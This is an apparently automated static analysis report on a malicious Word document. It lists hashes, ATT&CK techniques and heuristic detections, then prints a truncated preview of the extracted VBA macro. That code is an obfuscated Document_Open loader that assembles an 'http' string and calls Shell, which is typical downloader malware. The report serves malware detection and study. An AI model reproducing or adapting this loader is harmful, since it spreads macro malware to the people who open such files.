Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2f0e07bbaa27be73…

MALICIOUS

Office (OLE)

214.0 KB Created: 2018-03-14 14:05:00 Authoring application: Microsoft Office Word First seen: 2018-08-05
MD5: ee70aad88936dd4df38e06ec1ce0070e SHA-1: d9a0fff11ac8183c084d597998ddd68b483b5bb9 SHA-256: 2f0e07bbaa27be73cf9a426da1358471520375e688d3384705b6e29f9359a28f
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an auto-execute function (Document_Open) that uses obfuscated code and calls to Shell(). This indicates the macro is designed to download and execute a secondary payload. The ClamAV detection name 'Doc.Malware.Chronos-6897935-0' further supports its malicious nature. The primary attack vector is likely spearphishing attachment.

Heuristics 7

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13005 bytes
SHA-256: 48f8b5e4cb374185502a514eacb35b9071280cd56a17b5fbb5ad0a2d01150e2a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    For ixnEX = 0 To 305
        nBqr = Replace("IwTwnVhjaAeOJyxjlGi", "IwTw", "YzsW")
        nBqr = StrReverse("HjSVHSnnloKBD")
        nBqr = Replace("wwgqlaZvPdXRaqmlLG", "wwgq", "kQzebjV")
        nBqr = StrReverse("OlFokwtcJTnIxkIEMhh")
        nBqr = Replace("eOGUqivgDkyZC", "eOGU", "iaYz")
        nBqr = StrReverse("efBJurRSXRAd")
        nBqr = StrReverse("EcSwIuWWLZVuAgx")
        nBqr = StrReverse("CqUCEzZESZVJ")
        nBqr = Replace("BZxpHSoqdjT", "BZxp", "Quccg")
                If 1893233 = 157 - 4354 Then
            pufWl = Replace("UtQJCBKhdJCHyV", "UtQJ", "fgFTSeJ")
            pufWl = StrReverse("UtQJCBKhdJCHyV")
            End If
        nBqr = Replace("rDUphWhZnFuJqkh", "rDU", "rlYA")
        nBqr = StrReverse("HAoLrYwkFXCLTU")
        nBqr = StrReverse("pUozhfTmijs")
        nBqr = StrReverse("UUkQOJCJKPjjcvGq")
                If 1362732 = 23 - 1847 Then
            tHnDF = Replace("ThmvnrjrvvPwBdpTpbb", "Thm", "MOWAIca")
            tHnDF = StrReverse("ThmvnrjrvvPwBdpTpbb")
            End If
        nBqr = Replace("dglxkcdktqfeh", "dglx", "WWvnnW")
                If 3360249 = 46 - 7031 Then
            BHtAX = Replace("ufGobVvekxMG", "ufG", "kXHv")
            BHtAX = StrReverse("ufGobVvekxMG")
            vquvu = Replace("XurqBeohQbJceA", "Xur", "mbDH")
            vquvu = StrReverse("XurqBeohQbJceA")
            End If
                If 705777 = 231 - 4670 Then
            aoaKO = Replace("VLlUnjfYAP", "VLlU", "mGMcu")
            aoaKO = StrReverse("VLlUnjfYAP")
            wESGR = Replace("uUkdEeZMci", "uUk", "uZKK")
            wESGR = StrReverse("uUkdEeZMci")
            End If
        nBqr = StrReverse("jaUzBTXqMMsPIf")
        nBqr = Replace("ApRqdIWfjhxEBbBVygS", "ApR", "anUqs")
        nBqr = Replace("kjsewhXxGFUGsW", "kjs", "cQdWmR")
                If 2188846 = 214 - 2818 Then
            OzDef = Replace("xScwGYjVJwzKQZJSiAX", "xScw", "FYXVSCz")
            OzDef = StrReverse("xScwGYjVJwzKQZJSiAX")
            AtnxG = Replace("RewVVhBZpmhkdHnuqvj", "Rew", "Lxpfw")
            AtnxG = StrReverse("RewVVhBZpmhkdHnuqvj")
            End If
        nBqr = StrReverse("tIEdQkacHRcFdgpDC")
                If 3067547 = 234 - 1854 Then
            BlSRO = Replace("HwcyKuteDnIa", "Hwc", "qecsqO")
            BlSRO = StrReverse("HwcyKuteDnIa")
            Qucwm = Replace("WIAbliArLjurHVVAJE", "WIAb", "lflfEl")
            Qucwm = StrReverse("WIAbliArLjurHVVAJE")
            End If
        nBqr = StrReverse("iTXSVIcjmyg")
    Next ixnEX

    While jPxv < 3678
        If jPxv = 37 Then
            VfZT = Replace("jwWtCEiFfa", "jwW", "lkWRs")
        ElseIf jPxv = 2329 Then
            VfZT = Replace("xotqtAfOPv", "xot", "BfYaZ")
        ElseIf jPxv = 1639 Then
            VfZT = Replace("LnlvPRJCrE", "Lnl", "KZvGs")
        ElseIf jPxv = 3654 Then
            Shell (StrReverse(StrReverse(JuDW))), 0
        ElseIf jPxv = 3520 Then
            EGPx = Replace(HLMI, ITg, Chr(104) + Chr(116) + Chr(116) + Chr(112))
        ElseIf jPxv = 721 Then
            VfZT = Replace("vfHvYSgoLx", "vfH", "vKlYd")
        ElseIf jPxv = 3227 Then
            Pzx = Replace(StrReverse(rrKhMIZWYc(1)), "MmOcs", "zeS")
        ElseIf jPxv = 1890 Then
            VfZT = Replace("FBSuTLZIzI", "FBS", "dPADp")
        ElseIf jPxv = 987 Then
            VfZT = Replace("mpIRROIcAZ", "mpI", "ViFds")
        ElseIf jPxv = 340 Then
            VfZT = Replace("JVcoLkdIIz", "JVc", "Kvwws")
        ElseIf jPxv = 581 Then
            VfZT = Replace("HYEeyoiTpr", "HYE", "JJAkF")
        ElseIf jPxv = 3348 Then
            ITg = Split(Replace(Pzx, "OUAui", "IYU"), Chr(123 + 1))(3 - 2)
        ElseIf jPxv = 1922 Then
            VfZT = Replace("bA
... (truncated)

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